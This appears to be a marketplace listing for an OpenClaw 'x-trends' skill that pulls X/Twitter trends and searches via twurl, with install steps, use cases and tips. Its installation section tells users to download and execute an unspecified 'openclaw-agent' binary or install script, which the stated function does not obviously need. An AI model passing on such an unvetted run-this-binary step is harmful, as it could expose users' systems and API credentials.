Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/x-trends-el5qnWhat This Skill Does
The x-trends skill empowers the OpenClaw agent to tap into real-time conversation data from X (formerly Twitter). By integrating directly with the platform's API via the openclaw-agent utility, this skill allows users to monitor global or localized trending topics, perform sentiment-adjacent research, and extract granular data regarding hashtags and current cultural movements. Whether you are a social media manager tracking campaign performance, a developer building a trend-aware application, or a researcher analyzing global event velocity, this skill acts as your eyes on the pulse of the digital world.
Installation
To begin, ensure the required openclaw-agent is active. Windows users must download and execute the latest binary, while macOS users should follow the script-based installation provided in the documentation. Once the bridge agent is running, install the twurl CLI via Ruby gems (gem install twurl). After installation, you must authorize your credentials using your specific X API keys. Finally, install the skill into your OpenClaw environment using the command: clawhub install openclaw/skills/skills/hightower6eu/x-trends-el5qn.
Use Cases
This skill is designed for high-frequency data retrieval. Common use cases include:
- Geographic Trend Analysis: Comparing what is trending in the USA versus Japan to localize marketing strategies.
- Event Monitoring: Searching for specific hashtags to see how a breaking news story is evolving.
- Content Curation: Filtering search results by media type or verified accounts to find high-quality content regarding a specific niche topic.
- Trend Forecasting: Using historical volumes (where provided) to identify the lifecycle of viral phenomena.
Example Prompts
- "Check the current top 10 trends in the UK and list them out with their tweet volume."
- "Search for the latest 10 tweets containing #AI, filtering only for results that include media."
- "Show me the trending topics for Germany and explain which ones are currently having the most impact based on available volume data."
Tips & Limitations
Always verify that your openclaw-agent is running before issuing commands; the skill will fail silently without it. Be mindful of Twitter's API rate limits—you are capped at 75 requests per 15-minute window, so avoid aggressive polling loops. Note that not all trends include tweet_volume data, as this is dependent on Twitter's internal aggregation. Use the jq command-line tool effectively to filter the JSON responses, as the raw API output can be verbose. Finally, distinguish between v1.1 endpoints (used for trends) and v2 endpoints (used for searches) when troubleshooting connectivity issues.
